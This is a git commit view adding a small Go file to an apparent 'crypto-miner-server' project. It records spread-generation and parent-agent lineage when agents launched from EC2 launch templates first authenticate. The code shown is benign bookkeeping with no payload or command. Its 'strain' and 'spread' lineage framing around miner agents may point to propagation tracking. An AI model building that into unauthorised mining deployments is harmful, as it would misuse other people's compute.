Add EC2 Launch Template strain genesis for AWS horizontal scale.
Ship POST /api/v1/forge/launch-template with cloud-init user-data embedding genesis snapshot hash and strain card ID; first template-tagged auth pins SpreadGeneration=0 and ParentAgentID=template.
This commit is contained in:
18
server/internal/api/launch_template_genesis.go
Normal file
18
server/internal/api/launch_template_genesis.go
Normal file
@@ -0,0 +1,18 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadgenesis"
|
||||
)
|
||||
|
||||
type launchTemplateAuthProbe struct {
|
||||
JoinLane string
|
||||
ParentAgentID string
|
||||
GenesisSnapshotHash string
|
||||
}
|
||||
|
||||
func applyLaunchTemplateGenesisFirstAuth(agent *models.Agent, isNewAgent bool, auth launchTemplateAuthProbe) {
|
||||
spreadgenesis.ApplyFirstAuth(agent, isNewAgent, spreadgenesis.AuthProbe{
|
||||
JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
|
||||
})
|
||||
}
|
||||
Reference in New Issue
Block a user